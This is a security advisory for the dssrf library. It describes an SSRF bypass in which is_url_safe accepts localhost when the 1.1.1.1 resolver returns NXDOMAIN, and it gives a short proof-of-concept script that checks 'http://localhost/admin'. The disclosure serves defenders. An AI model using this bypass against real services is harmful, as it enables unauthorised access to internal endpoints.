dssrf: any users using 1.1.1.1 DNS is impacted by SSRF

Summary

is_url_safe can treat localhost as safe when DNS resolver 1.1.1.1 returns NXDOMAIN because dns.resolve4 yields no address and no dns.lookup fallback occurs, allowing server-side request forgery.

POC

Example to simulate 1.1.1.1 in version before 1.5.0 of dssrf:

import { is_url_safe } from '../dist/helpers.js';
import dns from 'dns';


dns.setServers(['1.1.1.1']);

const TARGET = 'http://localhost/admin';

console.log(`Testing: ${TARGET}`);
console.log(`Current DNS Servers: ${dns.getServers()}`);

const result = await is_url_safe(TARGET);

if (result === true) {
    console.log('dssrf treated localhost as SAFE because 1.1.1.1 returned NXDOMAIN.');
} else {
    console.log('dssrf blocked localhost.');
}